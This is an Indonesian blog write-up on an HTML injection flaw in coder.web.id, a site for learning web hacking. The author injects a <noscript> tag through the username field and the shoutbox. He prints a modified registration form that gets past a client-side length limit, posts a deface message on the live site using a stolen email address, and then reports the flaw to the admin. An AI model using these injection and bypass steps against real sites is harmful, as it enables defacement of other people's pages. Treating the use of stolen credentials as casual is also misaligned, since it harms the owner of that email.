CODER.WEB.ID Vulnerable to HTML Injection


  • SPYRO KiD
  • admin[~@t~]spyrozone[~d.t~]net
  • Saturday, October 4th, 2008
  • CopyLEFT (c) 2011++ www.spyrozone.net All Rights Reserved


Coder.web.id merupakan situs yang menyediakan fasilitas untuk belajar web Hacking. Explorasi tidak dibatasi hanya pada area belajar, tapi juga pada website utamanya. Sudah banyak yang menemukan celah pada website utama Coder dan namanya terpampang di website tersebut. Sekedar iseng, saya mencoba untuk melihat-lihat dan mencari celah lain. Siapa tau ada celah yang terlewatkan oleh attacker lain :D Perhatian saya tertuju pada area kiri bawah.

{image: Area target Exploitasi}

Area target Exploitasi

Coder menampilkan daftar member terbaru pada area navigasi. Dimana ada output, tentunya ada input, bukan? ^_^ Saya ingin mencoba apakah input dan output tersanitasi dengan baik, atau dibiarkan “telanjang” :D  → Saya tau Anda sangat menyukai kata-kata ini.. hehehehehe.. ^_^”

Sanitasi Input & Output

Saya masuk ke area registrasi member dan memasukkan informasi-informasi yang dibutuhkan. Panjang nilai Username yang menjadi incaran saya ternyata dibatasi. Perhatikan baik-baik apa yang saya inputkan:

{image: HTML Injection}

HTML Injection

Saya memasukkan tag <noscript> pada isian Username. <noscript> merupakan tag yang berfungsi untuk menampilkan informasi alternatif ketika user menggunakan browser yang tidak memiliki dukungan client side scripting atau user mendisable dukungan tersebut.

Nah, dalam serangan percobaan ini saya menginjeksikan <noscript> untuk menyembunyikan elemen-elemen dibawahnya. Begitu saya klik tombol [Register], ternyata form registrasi tidak diberi filter untuk mencegah user menginputkan tag berbahaya. Setelah saya mengaktifkan akun saya, seharusnya nama saya terpampang di halaman utama pada area New Members. Tapi yang terjadi adalah..

{image: Halaman utama setelah injeksi}

Halaman utama setelah injeksi

Seperti yang Anda lihat, banyak area yang menghilang. Tampilan websitenya menjadi berantakan ^^ Hal ini terjadi karena area output juga tidak disanitasi sehingga tag <noscript> saya tereksekusi.

Saya menginputkan <noscript> pada ShoutBox, dan ternyata Shoutbox Coder juga tidak disanitasi

{image: ShoutBOX setelah injeksi}

ShoutBOX setelah injeksi

Melewati Batasan Panjang Karakter Username

Sudah saya singgung sebelumnya bahwa panjang username ternyata dibatasi sehingga saya tidak leluasa untuk menuliskan pesan pada halaman utama. Untuk melewati batasan tersebut, saya menyimpan form registrasi Coder lalu mengubahnya menjadi demikian:

<body>
<script language="JavaScript">
function compare_registration() {
 if (document.registration.password.value != document.registration.rpassword.value) {
 alert("Field Password value and Re-type Password value is not match!");
 document.registration.password.focus();
 return false;
 }
 if (document.registration.email.value != document.registration.remail.value) {
 alert("Field E-mail value and Re-type E-mail value is not match!");
 document.registration.email.focus();
 return false;
 }
 else {
 return true;
 }
}
</script>
<script language="JavaScript">
function submit_registration() {
 if ((validate_registration() == true) && (compare_registration() == true)) {
 document.registration.action = "http://hack.coder.web.id/execute.php";
 document.registration.method = "post";
 document.registration.submit();
 }
}

function validate_registration() {
 if (document.registration.name.value == "") {
 alert("Please fill in field Real Name!");
 document.registration.name.focus();
 return false;
 }
 if (document.registration.birthday.value == "") {
 alert("Please fill in field Birthday!");
 document.registration.birthday.focus();
 return false;
 }
 if (document.registration.email.value == "") {
 alert("Please fill in field E-mail!");
 document.registration.email.focus();
 return false;
 }
 if (document.registration.remail.value == "") {
 alert("Please fill in field Re-type E-mail!");
 document.registration.remail.focus();
 return false;
 }
 if (document.registration.username.value == "") {
 alert("Please fill in field Username!");
 document.registration.username.focus();
 return false;
 }
 if (document.registration.password.value == "") {
 alert("Please fill in field Password!");
 document.registration.password.focus();
 return false;
 }
 if (document.registration.rpassword.value == "") {
 alert("Please fill in field Re-type Password!");
 document.registration.rpassword.focus();
 return false;
 }
 if (document.registration.captcha_code.value == "") {
 alert("Please fill in field Verify Code!");
 document.registration.captcha_code.focus();
 return false;
 }
 else {
 return true;
 }
}
</script>
<form name="registration" id="registration" action="http://hack.coder.web.id/execute.php" method="post" enctype="multipart/form-data" style="margin: 0px; padding: 0px;">
<table width="100%" border="0" style="border: 1px solid #666666;">
<tr valign="middle" align="left"><td colspan="2" height="25">Registrasi Member</td></tr><input type="hidden" name="module" id="module" value="registrasi">
<input type="hidden" name="do" id="do" value="insert">
<tr valign="top" align="left"><td width="100">Real Name</td>
<td><input type="text" name="name" id="name" value="" size="50" maxlength="100" > *</td></tr>
<tr valign="top" align="left">
<td>Birthday</td>
<td><input type="text" name="birthday" id="birthday" value="00-00-0000" size="15" maxlength="10"/>&nbsp;<input type="text" id="user_birthday" size="1" readonly="1">
<script type="text/javascript">
Calendar.setup(
 {
 inputField  : "birthday",
 ifFormat    : "%d-%m-%Y",
 button      : "user_birthday",
 align        : "c"
 }
);
</script> * Format: dd-mm-yyyy</td>

</tr><tr valign="top" align="left">
<td width="100">Address</td>
<td><textarea name="address" id="address" cols="40" rows="5"></textarea> </td>
</tr>
<tr valign="top" align="left"><td width="100">E-mail</td>
<td><input type="text" name="email" id="email" value="" size="30" maxlength="100" > * Note: Harus email yang valid, diperlukan untuk konfirmasi registrasi</td></tr>
<tr valign="top" align="left"><td width="100">Re-type E-mail</td>
<td><input type="text" name="remail" id="remail" value="" size="30" maxlength="100" > *</td></tr>

<tr valign="top" align="left"><td width="100">Website</td>
<td><input type="text" name="website" id="website" value="" size="50" maxlength="100" > </td></tr>
<tr valign="top" align="left"><td width="100">Username</td>
<td><input type="text" name="username" id="username" value="" size="15" maxlength="255" > * Note: Username dan Password <span>CaSe SenSiTiVe</span></td></tr>
<tr valign="top" align="left"><td width="100">Password</td>
<td><input type="password" name="password" id="password" value="" size="15" maxlength="10" > * Artinya: Jangan sampai lupa penulisan besar kecilnya huruf username dan password :) </td></tr>
<tr valign="top" align="left"><td width="100">Re-type Password</td>

<td><input type="password" name="rpassword" id="rpassword" value="" size="15" maxlength="10" > *</td></tr>
<tr valign="top" align="left"><td width="100">Verify Code</td>
<td><input type="text" name="captcha_code" id="captcha_code" value="" size="15" maxlength="5" > <img src="http://hack.coder.web.id/images/captcha/7294001ae51b8cdfd50eb4459ee28182.gif" align="absmiddle"> Note: Refresh jika kodenya tidak kelihatan</td></tr>
<tr><td colspan="2" align="right"><a href="javascript:submit_registration();" target="_self" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('register','','images/button/btn_register_over.gif',1)"><img src="http://hack.coder.web.id/images/button/btn_register.gif" name="register" border="0" align="absmiddle" id="register alt="register"></a>&nbsp;<a href="?module=news" target="" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('cancel','','images/button/btn_cancel_over.gif',1)"><img src="http://hack.coder.web.id/images/button/btn_cancel.gif" name="cancel" border="0" align="absmiddle" id="cancel alt="cancel"></a>&nbsp;</td></tr></table></form></body>

Yang saya lakukan hanya mengubah action=”execute.php” menjadi action=”http://hack.coder.web.id/execute.php”, lalu mengubah panjang field username menjadi 255, <input type=”text” name=”username” id=”username” value=”" size=”15″ maxlength=”255″ >. Bisa aja sich dengan one line javascript yang dieksekusi melalui Address Bar, hanya saja kali ini saya lebih suka dengan metode ini (oke dech.. suka-suka loe.. kan ente penulisnya… ^^). Berikut adalah tampilan form yang telah saya modifikasi:

{image:Form registrasi yang telah dimodifikasi untuk Exploitasi}

Form registrasi yang telah dimodifikasi untuk Exploitasi

Saya mengisi informasi yang dibutuhkan. Kali ini saya menggunakan email curian karena saya berencana menghapus semuanya setelah exploitasi selesai ^^”

Saya memasukkan pesan deface melalui field Username, lalu lagi-lagi saya akhiri dengan <noscript>. Kini, saya tidak mempunyai batasan untuk input kecuali batasan yang diatur melalui database. Klik tombol Register, dan lagi-lagi pendaftaran saya diproses. Setelah saya mengaktifkan akun saya, pesan deface muncul pada halaman utama Coder

{image: Pesan Deface}

Pesan Deface

Sampai disini, saya segera menghapus seluruh akun yang telah saya buat agar website Coder kembali normal, lalu melaporkan celah kecil ini kepada Admin.

Beberapa hari kemudian, saya dapat info dari seorang teman melalui YM kalau nama saya nampang di web Coder dengan point tertinggi.. ^^”

{image: Hall Of Fame}

Hall Of Fame

Yah, lumayan lah, biar nama kecil saya ikutan terkenal :D

Penutup

Sanitasi input telah berulang kali menjadi celah yang menjadi incaran Attacker. Dalam perjalanan dunia keamanan, celah seperti ini telah berulang kali ditemukan dan selalu ada dari tahun ke tahun. Sangat mudah untuk dilakukan oleh siapapun, dan tidak memerlukan keahlian khusus. Mudah-mudahan artikel ini bisa menambah kewaspadaan Anda dalam membangun aplikasi yang nyaman dan aman :)


//E.O.F